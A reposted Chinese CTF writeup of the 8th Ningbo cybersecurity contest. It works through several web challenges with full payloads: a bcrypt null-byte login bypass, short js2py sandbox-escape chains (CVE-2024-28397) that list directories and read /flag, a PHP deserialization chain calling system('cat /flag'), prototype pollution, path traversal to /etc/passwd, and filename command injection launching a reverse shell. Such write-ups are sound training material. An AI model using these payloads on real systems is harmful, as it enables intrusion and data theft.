文章总结: 本文详细解析第八届宁波市网络安全大赛初赛与决赛解题过程,重点阐述anonymity题的SVN泄露漏洞利用及ezpython_3题的bcrypt空字节注入绕过鉴权、js2py库RCE漏洞利用与155字符限制绕过技术,涵盖漏洞分析、利用链构建和实战操作细节。 综合评分: 87 文章分类: CTF,Web安全,渗透测试,漏洞分析,实战经验
第八届宁波市网络安全大赛%20初赛与决赛%20Writeup
赛查查
2026年5月7日%2010:54 北京
在小说阅读器读本章
去阅读
以下文章来源于Sh1n%20Sec ,作者Shin.chan
Sh1n%20Sec .
专注于代码审计、漏洞挖掘、渗透测试、攻防实战与CTF夺旗方向,持续分享最新的技术研究成果与实战经验,探索安全领域的前沿技术。
初赛
anonymity
查看源代码,提示%20svn%20泄露
只泄露了这一个文件
/.svn/wc.db
泄露的不是数据库文件,这几段只告知了创表相关的字段%20赛后询问师傅们也没结果,到现在也是不了了之
EzPython_3
一血题,源码如下
import%20pyjsparser.parser
from%20flask%20import%20Flask,%20render_template,%20request,%20redirect,%20url_for,%20session
import%20base64,%20random,%20secrets,%20string,%20bcrypt,%20js2py
app%20=%20Flask(__name__)
pyjsparser.parser.ENABLE_PYIMPORT=False
users%20=%20{}
users_hash%20=%20{}
salt%20=%20bcrypt.gensalt()
app.secret_key%20=%20secrets.token_bytes(16)
admin%20=%20b'admin'
admin_password%20= ''.join(random.choice(string.ascii_letters%20+%20string.digits) for _ in range(32))
print(admin_password)
h%20=%20bcrypt.hashpw(admin,%20salt)
users[admin]%20=%20admin_password.encode()
users_hash[h]%20=%20bcrypt.hashpw(admin_password.encode(),%20salt)
print(users,%20users_hash)
@app.route('/')
def%20home():
%20 return redirect(url_for('login'))
@app.route('/login',%20methods=['GET', 'POST'])
def%20login():
%20 if request.method%20== 'POST':
%20 %20 %20 %20username:%20bytes%20=%20base64.b64decode(request.form['username'])
%20 %20 %20 %20password:%20bytes%20=%20base64.b64decode(request.form['password'])
%20 %20 %20 if bcrypt.hashpw(username,%20salt) in users_hash%20and%20users_hash[bcrypt.hashpw(username,%20salt)]%20==%20bcrypt.hashpw(
%20 %20 %20 %20 %20 %20 %20 %20password,%20salt):
%20 %20 %20 %20 %20 if (bcrypt.hashpw(username,%20salt)%20==%20bcrypt.hashpw(b"admin",%20salt)%20and%20users_hash[
%20 %20 %20 %20 %20 %20 %20 %20bcrypt.hashpw(username,%20salt)]%20==%20users_hash[bcrypt.hashpw(username,%20salt)]%20==%20users_hash[
%20 %20 %20 %20 %20 %20 %20 %20bcrypt.hashpw(b"admin",%20salt)]):
%20 %20 %20 %20 %20 %20 %20 %20session['is_admin']%20=%20True
%20 %20 %20 %20 %20 %20 %20 return redirect(url_for('admin'))
%20 %20 %20 %20 %20 return f"Welcome,%20{username.decode()}!"
%20 %20 %20 else:
%20 %20 %20 %20 %20 return"Invalid%20username%20or%20password!"
%20 return render_template('login.html')
@app.route('/register',%20methods=['GET', 'POST'])
def%20register():
%20 if request.method%20== 'POST':
%20 %20 %20 %20username:%20bytes%20=%20base64.b64decode(request.form['username'])
%20 %20 %20 %20password:%20bytes%20=%20base64.b64decode(request.form['password'])
%20 %20 %20 if username in users:
%20 %20 %20 %20 %20 return"Username%20already%20exists!"
%20 %20 %20 if len(username)%20>%2015:
%20 %20 %20 %20 %20 return"username%20is%20too%20long"
%20 %20 %20 %20users[username]%20=%20password
%20 %20 %20 %20users_hash[bcrypt.hashpw(username,%20salt)]%20=%20bcrypt.hashpw(password,%20salt)
%20 %20 %20 print(users,%20users_hash)
%20 %20 %20 return f"User%20{username.decode()}%20registered%20successfully!"
%20 return render_template('register.html')
@app.route('/admin',%20methods=['GET', 'POST'])
def%20admin():
%20 if session.get('is_admin'):
%20 %20 %20 if request.method%20== 'POST':
%20 %20 %20 %20 %20 %20js%20=%20request.form['jscode']
%20 %20 %20 %20 %20 if len(js)%20>155:
%20 %20 %20 %20 %20 %20 %20 return"too%20long"
%20 %20 %20 %20 %20 %20try:
%20 %20 %20 %20 %20 %20 %20 %20result=js2py.eval_js(js)
%20 %20 %20 %20 %20 %20 %20 return f"ok,{result}"
%20 %20 %20 %20 %20 %20except%20Exception%20as%20e:
%20 %20 %20 %20 %20 %20 %20 return f"An%20error%20occurred:%20{str(e)}"
%20 %20 %20 else:
%20 %20 %20 %20 %20 return render_template('admin.html')
%20 else:
%20 %20 %20 return redirect(url_for('login'))
if __name__%20== '__main__':
%20 %20app.run()
四个路由 /、/register、/login、/admin,访问的目标是%20admin%20路由,要绕过鉴权 session.get('is_admin')login%20路由,bcrypt.hashpw(username,%20salt)%20==%20bcrypt.hashpw(b"admin",%20salt) 将同一个 salt 对两个明文做 bcrypt,等价于 username%20==%20b"admin"
@app.route('/login',%20methods=['GET', 'POST'])
def%20login():
%20 if request.method%20== 'POST':
%20 %20 %20 %20username:%20bytes%20=%20base64.b64decode(request.form['username'])
%20 %20 %20 %20password:%20bytes%20=%20base64.b64decode(request.form['password'])
%20 %20 %20 if bcrypt.hashpw(username,%20salt) in users_hash%20and%20users_hash[bcrypt.hashpw(username,%20salt)]%20==%20bcrypt.hashpw(
%20 %20 %20 %20 %20 %20 %20 %20password,%20salt):
%20 %20 %20 %20 %20 if (bcrypt.hashpw(username,%20salt)%20==%20bcrypt.hashpw(b"admin",%20salt)%20and%20users_hash[
%20 %20 %20 %20 %20 %20 %20 %20bcrypt.hashpw(username,%20salt)]%20==%20users_hash[bcrypt.hashpw(username,%20salt)]%20==%20users_hash[
%20 %20 %20 %20 %20 %20 %20 %20bcrypt.hashpw(b"admin",%20salt)]):
%20 %20 %20 %20 %20 %20 %20 %20session['is_admin']%20=%20True
%20 %20 %20 %20 %20 %20 %20 return redirect(url_for('admin'))
%20 %20 %20 %20 %20 return f"Welcome,%20{username.decode()}!"
%20 %20 %20 else:
%20 %20 %20 %20 %20 return"Invalid%20username%20or%20password!"
%20 return render_template('login.html')
bcrypt%2072%20字节截断,超过%2072%20字节的输入会被忽略,但这不帮助弄到和 b"admin" 相等的哈希;NUL%20截断,空字节注入是有可能,对其进行测试
admin\x00
admin\x00A
admin\x00admin
admin\x00\x00
fuzz%20结果发现%20admin\x00admin%20密码随意
username=YWRtaW4AYWRtaW4=&password=UGFzc3cwcmQh
拿到%20session
进到%20/admin%20路由
@app.route('/admin',%20methods=['GET', 'POST'])
def%20admin():
%20 if session.get('is_admin'):
%20 %20 %20 if request.method%20== 'POST':
%20 %20 %20 %20 %20 %20js%20=%20request.form['jscode']
%20 %20 %20 %20 %20 if len(js)%20>155:
%20 %20 %20 %20 %20 %20 %20 return"too%20long"
%20 %20 %20 %20 %20 %20try:
%20 %20 %20 %20 %20 %20 %20 %20result=js2py.eval_js(js)
%20 %20 %20 %20 %20 %20 %20 return f"ok,{result}"
%20 %20 %20 %20 %20 %20except%20Exception%20as%20e:
%20 %20 %20 %20 %20 %20 %20 return f"An%20error%20occurred:%20{str(e)}"
%20 %20 %20 else:
%20 %20 %20 %20 %20 return render_template('admin.html')
%20 else:
%20 %20 %20 return redirect(url_for('login'))
关键代码,结果会直接嵌在%20{result}%20中返回响应包
if len(js)%20>155:
return "too%20long"
try:
result=js2py.eval_js(js)
return f"ok,{result}"
js2py%20只能在非%20python3.12%20版本下运行,我选择%203.10%20进行测试。这个库更多用于爬虫,检索一下相关文章,关于这个库的信息比较少,发现%202024%20年爆出一则%20CVE%20漏洞,主角就是%20js2py.eval_js()%20直接能%20rce:Marven11的漏洞文章
CVE 漏洞详细给了一条链子
let cmd%20= "id";let a%20=%20Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;let obj%20=%20a(a(a,"__class__"), "__base__");function findpopen(o)%20{let result;for(let i in o.__subclasses__())%20{let item%20=%20o.__subclasses__()[i];if(item.__module__%20== "subprocess" &&%20item.__name__%20== "Popen")%20{return item}if(item.__name__%20!= "type" &&%20(result%20=%20findpopen(item)))%20{return result}}};let result%20=%20findpopen(obj)(cmd,%20-1,%20null,%20-1,%20-1,%20-1,%20null,%20null, true).communicate();console.log(result);result
代码形式于要求完全一致,正中靶心
但问题是仅有资料的%20payload%20长度太大,无法满足低于%20155%20的要求,需要找到一条更短的链子绕过
分析
先顺一顺逻辑,js2py/evaljs.py::eval()%20将传入的%20payload%20再套一层%20PyJsEvalResult%20=%20eval(%s)
随后跟进%20execute(),在%20195%20行调用%20js2py/translators/translator.py::translate_js()
js2py/translators/translating_nodes.py::trans()%20 从全局变量获取对应节点,随后 node(**ele)调用每个相关节点,这些节点大都也是处理%20JS%20为%20Python%20代码关键节点 Program会遍历代码的内容并添加变量与函数,最终转换成Python代码
如调试时%20Payload%20最终解析为
var.registers([])
def%20PyJs_LONG_0_(var=var):
return var.get('eval')(Js('传入的代码'))
var.put('PyJsEvalResult',%20PyJs_LONG_0_())
var.get('eval') 取到%20JS%20的内建 eval 的%20Py%20包装,然后会将传入的字符串交给%20JS%20引擎再解析一次
最简单的利用就是直接通过 pyimport 进行导入模块,它是%20js2py%20库中一个特殊的关键字,它允许在%20JS%20代码中直接导入并使用%20Python%20模块
pyimport%20os;var%20current_dir%20=%20os.getcwd();current_dir;
题目最上面定义了 pyjsparser.parser.ENABLE_PYIMPORT%20=%20False ,这阻止了显式pyimport语句,不能在用它导入模块%20此时在回到最开始的%20poc,看看%20Marven11%20师傅这条利用链是如何实现绕过的
关于 js2py/constructors/jsobject.py 里 Object.getOwnPropertyNames 我的理解是这样的,getOwnPropertyNames 返回一个%20Python%20对象,Js()%20前面并不识别它,于是走到 py_wrap() 生成了 PyObjectWrapper
def%20getOwnPropertyNames(obj):
if not%20obj.is_object():
%20raise%20MakeError(
%20 'TypeError',
%20 'Object.getOwnPropertyDescriptor%20called%20on%20non-object')
return obj.own.keys()
def%20py_wrap(py):
%20 if isinstance(py,%20(FunctionType,%20BuiltinFunctionType,%20MethodType,
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 BuiltinMethodType,%20dict,%20int,%20str,%20bool, float,%20list,
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 tuple,%20long,%20basestring))%20or%20py%20is%20None:
%20 %20 %20 return HJs(py)
%20 return PyObjectWrapper(py)
def%20Js(val,%20Clamped=False):
%20 '''Converts%20Py%20type%20to%20PyJs%20type'''
%20 if isinstance(val,%20PyJs):
%20 %20 %20 return val
%20 elif val%20is%20None:
%20 %20 %20 return undefined
%20 elif isinstance(val,%20basestring):
%20 %20 %20 return PyJsString(val,%20StringPrototype)
%20 elif isinstance(val,%20bool):
%20 %20 %20 returntrueif val elsefalse
%20 elif isinstance(val, float)%20or%20isinstance(val,%20int)%20or%20isinstance(
%20 %20 %20 %20 %20 %20val,%20long)%20or%20(NUMPY_AVAILABLE%20and%20isinstance(
%20 %20 %20 %20 %20 %20 %20 %20val,
%20 %20 %20 %20 %20 %20 %20 %20(numpy.int8,%20numpy.uint8,%20numpy.int16,%20numpy.uint16,
%20 %20 %20 %20 %20 %20 %20 %20 numpy.int32,%20numpy.uint32,%20numpy.float32,%20numpy.float64))):
%20 %20 %20 #%20This%20is%20supposed%20to%20speed%20things%20up.%20may%20not%20be%20the%20case
%20 %20 %20 if val in NUM_BANK:
%20 %20 %20 %20 %20 return NUM_BANK[val]
%20 %20 %20 return PyJsNumber(float(val),%20NumberPrototype)
%20 %20...
%20 else:%20 #%20try%20to%20convert%20to%20js%20object
%20 %20 %20 return py_wrap(val)
在调用 Object.getOwnPropertyNames() 时里面传 []、{}(传入非对象参数会报错),%20能拿到 PyObjectWrapper(dict_keys(xxx)) ,于是%20JS%20层就能访问到%20python%20属性诸如 __class__、__base__、__subclasses__等,达成了沙盒逃逸
import%20js2py
import%20pyjsparser
pyjsparser.parser.ENABLE_PYIMPORT%20=%20False
code%20= """
a%20=%20Object.getOwnPropertyNames({})
b%20=%20Object.getOwnPropertyNames([]).__class__.__base__
console.log(a,%20b)
"""
js2py.eval_js(code)
所以%20poc%20的%20payload%20很好理解了,通过 Object.getOwnPropertyNames({}).__class__.__base__ 拿到%20python object类,再写一个递归找 subprocess.Popen 函数,communicate() 拿回显,这被放弃了,太长
Python%20沙箱逃逸最常见的就是%20帧、闭包、函数全局字典拿%20builtins,或者打%20pickle%20链,但也会非常长,也不一定拿到相关的模块
在%20Python%20里有这样一种类型 import%20loader(如 zipimporter、_frozen_importlib_external 家族等),这些 loader 的实例常带有 load_module 之类的入口,而在 object基类.__subclasses__() 里总带着 load_module 属性的%20loader%20类
于是保持 Object.getOwnPropertyNames({}).__class__.__base__; 不变,向上找 load_module,遇到第一个带 load_module 的就%20break,用它直接加载内置模块完成读文件/列目录。
payload如下:
读当前工作目录
o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("os").getcwd() #len(143)
读目录
o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("posix").listdir("/")%20 #len(150)
o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("os").listdir("/")%20 #len(147)
读文件
for(i in(s=(o=Object.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(b=s[i],b.load_module)break;b.load_module("_io").open("/flag").read()%20 #len(154)
for(i in(s=(o=Object.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(b=s[i],b.load_module)break;b.load_module("io").open("/flag").read()%20 #len(153)
#%20DASCTF{23409102560085073674496300485198}
决赛
决赛为%20AWDP%20形式
easyUploads
文件读取,拿到源码
show.php?file=/etc/passwd
#show.php
<?php
if (isset($_GET['file']))%20{
%20 $imagePath = $_GET['file'];
%20 if (preg_match("/(\/flag|\/fl|\/f|sort|index\.php|show\.php|\.\.\/|\.\/|\/)/i", $imagePath)){
%20 %20 %20 $imagePath = 'img/1.png';
}
}
$imageData = file_get_contents($imagePath);
if ($imageData !== false) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_buffer($finfo, $imageData);
finfo_close($finfo);
header("Content-Type: $mimeType");
echo$imageData;
exit;
} else {
echo"Image cannot be read.";
}
#index.php
<?php
// 启动 session
session_start();
Class Dog {
public $bone;
public $meat;
public $beef;
public $candy;
public function__invoke() {
if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
return$this->candy->flag;
}
}
public function__toString() {
$function = $this->bone;
return$function();
}
}
CLass mouse {
public $rice;
public function __get($key) {
@eval($this->rice);
}
}
class Cat {
public $fish;
public function__construct() {
}
public function__destruct() {
echo$this->fish;
}
}
// 处理文件上传
$message = '';
$success = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['uploaded_file'])) {
$uploadDir = __DIR__ . '/uploads/';
$uploadedFile = $uploadDir . basename($_FILES['uploaded_file']['name']);
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadedFile)) {
$message = '上传成功!';
$success = true;
$fileContent = file_get_contents($uploadedFile);
@unlink($uploadedFile);
@unserialize($fileContent);
$fileContent = "";
// 设置 session,表示上传成功
$_SESSION['upload_success'] = true;
// 重定向,防止刷新页面时重复提交表单
header("Location: " . $_SERVER['PHP_SELF']);
echo$message;
exit();
}
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>壁纸上传网站</title>
<style>
body {
background: linear-gradient(135deg, #000000, #ffffff);
font-family: Arial, sans-serif;
color: #333;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
background: rgba(255, 255, 255, 0.9);
padding: 30px;
border-radius: 10px;
box-shadow: 0 0 15px rgba(0,0,0,0.2);
width: 400px;
}
h1 {
font-size: 24px;
margin-bottom: 20px;
color: #000;
}
.message {
font-size: 18px;
color: green;
margin-bottom: 20px;
}
input[type="file"] {
margin: 20px 0;
font-size: 16px;
}
input[type="submit"] {
background-color: #333;
color: #fff;
border: none;
padding: 10px 20px;
cursor: pointer;
border-radius: 5px;
}
input[type="submit"]:hover {
background-color: #555;
}
.images {
margin-top: 40px;
}
.images-title {
font-size: 20px;
font-weight: bold;
margin-bottom: 20px;
color: #444;
}
.image-item {
display: inline-block;
margin: 0 10px;
}
.image-item img {
width: 150px;
height: 150px;
border-radius: 10px;
border: 2px solid #333;
transition: transform 0.3s;
}
.image-item img:hover {
transform: scale(1.1);
}
.image-item a {
display: block;
margin-top: 10px;
color: #333;
text-decoration: none;
font-weight: bold;
}
.image-item a:hover {
color: #555;
}
</style>
<script>
functionshowSuccessAlert() {
alert("文件上传成功!");
}
// 页面加载后检查是否上传成功
window.onload = function() {
<?php if (isset($_SESSION['upload_success']) && $_SESSION['upload_success']) : ?>
showSuccessAlert();
<?php
// 清除 session 中的上传成功状态
unset($_SESSION['upload_success']);
endif;
?>
}
</script>
</head>
<body>
<div class="container">
<h1>壁纸上传网站</h1>
<?php if (!empty($message)) : ?>
<div class="message"><?php echo$message; ?></div>
<?php endif; ?>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file" required>
<br>
<input type="submit" value="上传">
</form>
<div class="images">
<div class="images-title">精美壁纸如下:</div>
<!-- 图片 1 -->
<div class="image-item">
<img src="./img/1.png" alt="壁纸1">
<a href="/show.php?file=img/1.png" target="_blank">壁纸1</a>
</div>
<!-- 图片 2 -->
<div class="image-item">
<img src="./img/2.png" alt="壁纸2">
<a href="/show.php?file=img/2.png" target="_blank">壁纸2</a>
</div>
</div>
</div>
</body>
</html>
上传文件后会将文件内容反序列化 exp 如下
<?php
Class Dog {
public $bone;
public $meat;
public $beef;
public $candy;
}
CLass mouse {
public $rice;
}
class Cat {
public $fish;
public function __construct($fish) {
$this->fish = $fish;
}}
$m = new mouse();
$m -> rice = "system('cat /flag');";
$d = new Dog();
$d -> meat = '240610708';
$d -> beef = 'QNKCDZO';
$d -> bone = $d;
$d -> candy = $m;
$c = new Cat($d);
echo (serialize($c));
//O:3:"Cat":1:{s:4:"fish";O:3:"Dog":4:{s:4:"bone";r:2;s:4:"meat";s:9:"240610708";s:4:"beef";s:7:"QNKCDZO";s:5:"candy";O:5:"mouse":1:{s:4:"rice";s:20:"system('cat /flag');";}}}
上传拿到 FLAG
Easy_shop
队友看的这题做完忘截图,比赛时赛方直接提示了读 app.js 拿源码。赛后根据源码复盘一下思路
一看肯定要买 FLAG,但 MONEY 不够
通过购买负数的形式增加余额
/buy/2?quantity=-100
再购买 FLAG,提示了一个路由
访问路由
发现存在任意文件读取漏洞
fileName=../../../etc/passwd
读取 FLAG 提示“你还真读FLAG啊”,于是尝试读源码
fileName=../server.js
源码如下
const express = require('express');
const app = express();
const fs = require('fs');
const port = 3000;
const bodyParser = require('body-parser');
app.set('view engine', 'ejs');
app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
let money = 1000;
const initialMoney = 1000;
let message = '';
const products = [
{ name: '帽子', price: 10 },
{ name: '棒球', price: 15 },
{ name: 'iphone', price: 150 },
{ name: 'flag', price: 1500 },
];
app.get('/showflag', (req, res) => {
res.render('readfile');
});
app.post('/readfile', (req, res) => {
const fileName = req.body.fileName;
if (fileName.includes("fl")) {
return res.status(200).send('你还真读flag啊');
}
fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
if (err) {
res.status(500).send('Error reading the file');
} else {
res.send(data);
}
});
});
app.get('/', (req, res) => {
res.render('index', { products, money, message });
});
app.get('/buy/:productIndex', (req, res) => {
const productIndex = req.params.productIndex;
let quantity = req.query.quantity || 1;
if (productIndex === '3') {
quantity = Math.abs(quantity);
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;
res.render('index', { products, money, message, showAlert: true });
} else {
message = 'flag很贵的';
res.redirect('/');
}
}else{
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;
res.render('index', { products, money, message, showAlert: true });
} else {
message = '购买失败,钱不够啊老铁.';
res.redirect('/');
}
}
});
function copy(object1, object2) {
if (typeof object1 !== 'object' || object1 === null ||
typeof object2 !== 'object' || object2 === null) {
return;
}
for (let key in object2) {
if (
typeof object2[key] === 'object' &&
object2[key] !== null &&
typeof object1[key] === 'object' &&
object1[key] !== null
) {
copy(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}
app.post('/getflag', require('body-parser').json(), function (req, res, next) {
res.type('html');
const flagFilePath = '/flag';
let flag = '';
fs.readFile(flagFilePath, 'utf8', (err, data) => {
if (err) {
console.error(`无法读取文件: ${flagFilePath}`);
} else {
flag = data;
var secert = {};
var sess = req.session;
let user = {};
copy(user, req.body);
if (secert.testattack === 'admin') {
res.end(flag);
} else {
return res.send("no,no,no!");
}
}
});
});
app.get('/reset', (req, res) => {
money = initialMoney;
message = '';
res.redirect('/');
});
app.listen(port, () => {
console.log(`Server is running on http://localhost:${port}`);
});
quantity 什么也没处理就乘,导致了逻辑漏洞
money -= products[productIndex].price * quantity;
接下来就是最基础的原型链污染,都是基于 Object的原型,直接污染即可
{"__proto__":{"testattack":"admin"}}
img2base64
复现,源码如下
import os
import re
import subprocess
from flask import Flask, request, render_template, jsonify
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads/'
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def checkname(filename):
ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
noip = re.compile(r"\d+\.\d+")
if re.search(ILLEGAL_CHARACTERS, filename):
return False
if".."in filename :
return False
if(noip.findall(filename)):
return False
@app.route('/')
def upload_form():
return render_template('upload.html')
@app.route('/upload', methods=['POST'])
def upload_file():
if'file' not in request.files:
return jsonify({"error": "No file part in the request"}), 400
file = request.files['file']
if file.filename == '':
return jsonify({"error": "No file selected"}), 400
if(checkname(file.filename)==False):
return jsonify({"error": "Not hacking!"}), 500
if file:
file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
file.save(file_path)
result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
encoded_string = result.stdout.strip()
return jsonify({
"filename": file.filename,
"base64": encoded_string
})
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
Python subprocess.run() 命令执行,程序会先进行文件上传,对上传的内容不进行任何检测,直接保存至 uploads/目录下,对上传 filename检测拼接 uploads/+filename传给 run 进行命令执行
@app.route('/upload', methods=['POST'])
def upload_file():
if'file' not in request.files:
return jsonify({"error": "No file part in the request"}), 400
file = request.files['file']
if file.filename == '':
return jsonify({"error": "No file selected"}), 400
if(checkname(file.filename)==False):
return jsonify({"error": "Not hacking!"}), 500
if file:
file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
file.save(file_path)
result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
encoded_string = result.stdout.strip()
return jsonify({
"filename": file.filename,
"base64": encoded_string
})
WAF 过滤了 * = & " % ; < > i a s h t o ! @ ( ) { } [ ] _ ^ ' ~ \ #,没有过滤 |,用管道符插入 RCE
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def checkname(filename):
ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
noip = re.compile(r"\d+\.\d+")
if re.search(ILLEGAL_CHARACTERS, filename):
return False
if ".." in filename :
return False
if(noip.findall(filename)):
return False
执行一下 pwd 试试,||前错后执行,cat 尝试读目录必定报错
cat .||pwd
i a s h t o ..这些字符不能用,无法直接在 filename看目录、查文件,但之前看到文件内容是完全不做检测的,subprocess.run设置 shell=true直接启动 shell 环境,且变量可用,$0是 Shell 的位置参数
文件内写入反弹 shell
在通过管道符执行,完成反弹 shell
cat uploads/111|$0|base64
比赛环境内网 FLAG 为 ROOT 权限,sudo -l有 base64,用 base64 读取 FLAG 文件即可,赛后就不模拟这个环境了
sudo base64 "$LFILE" | base64 --decode
genshop
源码如下
from flask import Flask, request, send_file
import socket
app = Flask("webserver")
@app.route('/', methods=["GET"])
def index():
return send_file(__file__)
@app.route('/nc', methods=["POST"])
def nc():
try:
dstport = int(request.form['port'])
data = request.form['data']
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect(('127.0.0.1', dstport))
s.send(data.encode())
recvdata = b''
while True:
chunk = s.recv(2048)
if not chunk.strip():
break
else:
recvdata += chunk
continue
return recvdata
except Exception as e:
return str(e)
app.run(host="0.0.0.0", port=8080, threaded=True)
提供了 socket 连接服务,被限制访问在 127.0.0.1,应该没法直接反弹 Shell,可能题目内部设置了别的服务,内网探测之后组合利用漏洞,推测思路是这样,但没环境不好复现了
参考:
https://xz.aliyun.com/news/14369 https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/
免责声明 本文章所涉及仅供技术研究和学习之用。所有操作仅在合法授权的环境中进行,绝不用于任何非法活动。作者对因本文章内容导致的任何后果不承担责任。请读者务必遵守相关法律法规,合理使用本知识。
如对于文章中的技术细节有疑问、题目附件有需要,欢迎私信我,我会尽量帮助解答。期待与您的交流!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《第八届宁波市网络安全大赛 初赛与决赛 Writeup》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论